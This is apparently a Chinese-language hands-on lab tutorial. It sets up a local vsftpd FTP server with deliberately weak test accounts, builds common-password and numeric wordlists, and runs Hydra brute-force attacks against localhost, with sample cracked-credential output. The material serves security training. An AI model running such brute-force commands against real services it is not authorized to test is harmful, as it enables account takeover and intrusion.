介绍
在这个实验中,你将学习如何使用 Hydra(一种多功能的密码破解工具)对 FTP 服务进行暴力破解攻击。你将使用 vsftpd 设置一个本地 FTP 服务器,并创建具有弱密码的测试帐户,以演示安全漏洞。
本实验将指导你执行 Hydra 攻击、分析结果,并了解弱身份验证如何危及 FTP 服务。这个实践练习涵盖了在受控环境中的服务器配置、攻击模拟和安全评估。
设置本地 FTP 服务器
在这一步中,你将在 LabEx VM 环境中使用 vsftpd(Very Secure FTP Daemon,非常安全的 FTP 守护进程)设置一个本地 FTP 服务器。FTP(File Transfer Protocol,文件传输协议)是一种标准的网络协议,用于在客户端和服务器之间通过网络传输文件。可以把它想象成一个数字邮局,处理计算机之间的文件传递。
- 首先,我们需要安装 vsftpd 软件包。此命令会更新你的软件包列表并安装 FTP 服务器软件:
sudo apt-get update && sudo apt-get install -y vsftpd
- 安装完成后,最好备份默认的配置文件。这样,如果需要,你总是可以恢复原始设置:
sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.bak
- 现在我们将使用 nano(Linux 中的一个简单文本编辑器)编辑配置文件。此文件控制你的 FTP 服务器的行为:
sudo nano /etc/vsftpd.conf
- 在配置文件中,我们需要修改这些重要的设置。这些更改将:
- 禁用匿名访问(为了安全)
- 允许本地用户登录
- 允许文件上传
- 将用户限制在其主目录中(为了安全)
anonymous_enable=NO
local_enable=YES
write_enable=YES
chroot_local_user=YES
allow_writeable_chroot=YES

你可以通过运行以下命令来验证更改:
grep -E "^(anonymous_enable|local_enable|write_enable|chroot_local_user|allow_writeable_chroot)=" /etc/vsftpd.conf | cat

完成这些更改后,按 Ctrl+O(Write Out,写出)保存文件,然后按 Ctrl+X 退出 nano。
现在我们需要重启 vsftpd 服务以应用我们的配置更改。这就像使用我们的新设置刷新服务器:
sudo service vsftpd restart
- 接下来,我们将创建一个专门用于 FTP 访问的测试用户帐户。
-m标志创建主目录,-s设置默认 shell:
sudo useradd -m ftpuser -s /bin/bash
sudo passwd ftpuser
当出现提示时,将密码设置为 password123。我们仅出于测试目的使用这个简单的密码——在实际情况下,你应该始终使用强密码。
- 让我们创建一个特殊的目录用于 FTP 测试,并设置适当的权限。这确保我们的测试用户可以访问和修改此文件夹中的文件:
sudo mkdir -p /home/ftpuser/ftp_test
sudo chown ftpuser:ftpuser /home/ftpuser/ftp_test
- 最后,我们应该验证我们的 FTP 服务器是否正常运行。此命令检查 vsftpd 服务的状态:
sudo service vsftpd status

你应该看到输出指示该服务处于活动状态(正在运行)。如果看到任何错误,你可能需要查看你的配置步骤。
配置带测试用户的 FTP 服务器
在这一步中,我们将通过创建具有故意设置的弱密码的测试帐户,来为我们的 FTP 服务器进行安全测试做准备。此设置模拟了在真实系统中发现的常见安全漏洞,在这些系统中,用户通常选择简单的密码。我们将创建 3 个测试用户,设置他们的主目录,并生成 Hydra 稍后将使用的密码列表。
- 首先,让我们创建 3 个具有弱密码的测试用户(仅用于演示目的)。这些命令创建具有主目录的新系统用户并设置他们的密码:
sudo useradd -m ftpuser1 -s /bin/bash
echo "ftpuser1:password1" | sudo chpasswd
sudo useradd -m ftpuser2 -s /bin/bash
echo "ftpuser2:password2" | sudo chpasswd
sudo useradd -m ftpuser3 -s /bin/bash
echo "ftpuser3:password3" | sudo chpasswd
- 现在,我们将为每个用户创建专用的 FTP 目录并设置正确的权限。这确保每个用户只能通过 FTP 访问他们自己的文件:
sudo mkdir -p /home/ftpuser1/ftp_files
sudo mkdir -p /home/ftpuser2/ftp_files
sudo mkdir -p /home/ftpuser3/ftp_files
sudo chown ftpuser1:ftpuser1 /home/ftpuser1/ftp_files
sudo chown ftpuser2:ftpuser2 /home/ftpuser2/ftp_files
sudo chown ftpuser3:ftpuser3 /home/ftpuser3/ftp_files
- 让我们用一个测试文件填充每个用户的目录。这些文件将帮助验证稍后是否成功进行了 FTP 访问:
echo "This is ftpuser1's test file" | sudo tee /home/ftpuser1/ftp_files/test1.txt
echo "This is ftpuser2's test file" | sudo tee /home/ftpuser2/ftp_files/test2.txt
echo "This is ftpuser3's test file" | sudo tee /home/ftpuser3/ftp_files/test3.txt
- 在继续之前,让我们验证 FTP 访问是否适用于我们的一个测试用户。此 curl 命令尝试使用 FTP 凭据下载文件:
curl -u ftpuser1:password1 ftp://localhost/ftp_files/test1.txt
如果配置正确,你应该在终端中看到 test1.txt 的内容。
This is ftpuser1's test file
准备 FTP 的攻击列表
在这一步中,你将准备 Hydra 将用于尝试登录 FTP 服务器的密码字典(wordlist)。这些列表包含 Hydra 在暴力破解攻击期间将系统地尝试的潜在用户名和密码。了解如何创建有效的密码字典对于渗透测试至关重要。
- 首先,我们将创建一个基本的用户名列表,其中包含常见的 FTP 用户名。这些是默认或经常使用的帐户名,管理员有时会忘记更改:
echo -e "ftpuser1\nftpuser2\nftpuser3\nadmin\nroot\nftp\ntest\nuser\nanonymous" > ~/project/ftp_users.txt
- 接下来,我们将创建一个包含常见弱密码的密码列表。许多用户设置了简单易记但也容易被猜到的密码:
echo -e "password1\npassword2\npassword3\npassword123\n123456\npassword\nadmin\nroot\nftp\ntest\nqwerty\nletmein" > ~/project/ftp_passwords.txt
- 让我们通过显示其内容来验证是否正确创建了这两个文件。这确保我们的列表包含我们想要的内容:
cat ~/project/ftp_users.txt
cat ~/project/ftp_passwords.txt
- 为了生成更复杂的密码组合,我们将安装
crunch工具。这有助于创建可能在真实系统中使用的系统密码模式:
sudo apt-get install -y crunch
- 现在我们将使用 crunch 生成正好 6 位数字的数字密码。这模拟了常见的仅包含数字的密码,例如出生日期或简单的 PIN 码:
crunch 6 6 1234567890 -o ~/project/numeric_passwords.txt
- 将所有密码列表合并为一个综合文件。这个合并的列表将为 Hydra 提供更多的密码选项,以便在攻击期间尝试:
cat ~/project/ftp_passwords.txt ~/project/numeric_passwords.txt > ~/project/combined_passwords.txt
- 检查我们创建了多少个密码条目。这有助于估计暴力破解攻击可能需要多长时间:
wc -l ~/project/combined_passwords.txt
- 最后,创建一个较小的测试密码文件,用于演示目的。在运行完整攻击之前,使用子集有助于验证我们的设置是否有效:
head -n 50 ~/project/combined_passwords.txt > ~/project/test_passwords.txt
对 FTP 服务执行 Hydra 攻击
在这一步中,你将使用 Hydra 对我们之前配置的本地 FTP 服务器执行暴力破解攻击。Hydra 是一种流行的密码破解工具,支持包括 FTP 在内的多种协议。暴力破解攻击会系统地尝试所有可能的密码组合,直到找到正确的密码为止。这说明了为什么弱密码容易受到此类攻击。
- 首先,通过检查其帮助菜单来验证是否已安装 Hydra。这确认该工具已准备好使用并显示可用选项:
hydra -h
- 使用我们创建的用户名和密码列表运行基本的 Hydra 攻击。
-L指定用户名列表,-P指定密码列表。Hydra 将针对在 localhost 上运行的 FTP 服务尝试每种组合:
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost

- 要查看有关攻击进度的更详细输出,请添加
-vV标志。这种详细模式有助于了解 Hydra 在攻击期间正在做什么:
hydra -vV -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
- 使用完整的密码列表运行更全面的攻击(这将花费更长的时间)。
-t 4选项将并行连接限制为 4 个,以避免服务器过载,同时仍保持良好的速度:
hydra -L ~/project/ftp_users.txt -P ~/project/combined_passwords.txt ftp://localhost -t 4
- 当 Hydra 找到有效的凭据(credentials)时,它们将显示在输出中。这显示了哪个用户名/密码组合已成功通过 FTP 服务器的身份验证。成功输出示例:
[21][ftp] host: 127.0.0.1 login: ftpuser1 password: password1
- 将结果保存到文件中以供以后分析。
-o选项将输出写入文件,而不仅仅是在屏幕上显示:
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost -o ~/project/hydra_results.txt
- 验证结果文件以查看是否发现了任何凭据。这使你可以在攻击完成后查看结果:
cat ~/project/hydra_results.txt
总结
在这个实验中,你已经学习了如何使用 vsftpd 配置本地 FTP 服务器,包括软件包安装、为本地用户访问进行的配置调整以及使用弱密码创建测试帐户。该过程涉及修改 vsftpd.conf 设置、设置正确的目录权限以及验证服务功能。
此外,你还通过创建具有可预测凭据的多个帐户,为 Hydra 攻击准备了一个测试环境。此设置提供了一个受控的场景,可以在保持实际安全测试条件的同时练习暴力破解技术。


